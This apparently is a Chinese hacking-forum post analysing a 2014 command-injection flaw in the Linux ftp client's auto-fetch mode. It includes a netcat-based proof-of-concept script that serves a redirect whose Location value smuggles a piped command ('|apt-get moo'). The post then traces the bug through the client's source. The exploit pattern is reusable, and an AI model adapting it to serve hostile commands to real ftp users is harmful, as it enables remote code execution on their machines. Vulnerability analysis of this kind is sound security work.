搜索
查看: 1024|回复: 0

Linux ftp 命令可通过恶意服务器造成远程命令执行

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2014-10-31 11:58:55 | 显示全部楼层 |阅读模式
下面的代码是老外的利用过程,这个漏洞在reddit上爆出来后发生了酱紫的事情。
  1. x@ubuntu-pc:~$ cat ./pwnftp.sh
  2. #!/bin/bash
  3. sudo killall nc -q
  4. echo -e 'Status: 302 Found\nLocation: http://'"$1"':81/|'"$2"'\n\n' | sudo nc -l 80 > /dev/null 2>&1 &
  5. echo -e 'HTTP/1.0 200 OK\n\n' | sudo nc -l 81 > /dev/null 2>&1 &

  6. x@ubuntu-pc:~$ ./pwnftp.sh localhost "apt-get moo"
  7. x@ubuntu-pc:~$ ftp http://localhost/anything -V
  8.                  (__)
  9.                  (oo)
  10.            /------\/
  11.           / |    ||   
  12.          *  /\---/\
  13.             ~~   ~~   
  14. ..."Have you mooed today?"...
  15. x@ubuntu-pc:~$
复制代码

现在看下利用过程   
构造一个会返回
Status: 302 Found\nLocation: http://127.0.0.1:81/|apt-get moo\n\n
HTTP/1.0 200 OK\n\n' | sudo nc -l 81 > /dev/null 2>&1

这样的恶意服务器,然后通过 ftp location -v 去请求他,命令就执行了。

我花了点时间看了下。
有人可能会好奇FTP会什么可以支持HTTP,其实我们的ftp命令有个很神奇的超人模式叫auto-fetch,可以支持host, ftp, http, https, file 。。。。

一写官方的介绍我就不贴图了,尾巴的地方给个链接。
所以我就去翻了下FTP的源代码,然后fetch.c 里面有个 auto_fetch函数


那个叫"输出文件"的东西有没有感觉好可疑,往下翻,

在判断了URL长得像不像http请求后放入了url_get函数,函数的作用在于URL解析判断,比如端口啊,文件啊,可疑字符啊。。。自己分析吧,代码太多懒得仔细看,问题应该出在这里。
url_get ->url_decode->unsafe_char
里面检测字符的函数流程大概是酱紫。

然后跟踪url_decode在url_get的使用,从这里往下会进行请求的解析

然后可以看到 location: 的解析


回去看auto_fetch 的函数执行过程,跳过一些没用的东西可以看到类似这样的代码


把所需要的东西拼进数组然后放入cmds.c文件的函数执行。
看到那个结尾的|apt-get moo没,前面是个文件连接符。。也就是说原程序在执行命令的时候通过连接符可以加上我们自己的恶意命令。
http://www.reddit.com/r/netsec/comments/2km660/ftp1_can_be_made_to_execute_arbitrary_commands_by/
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表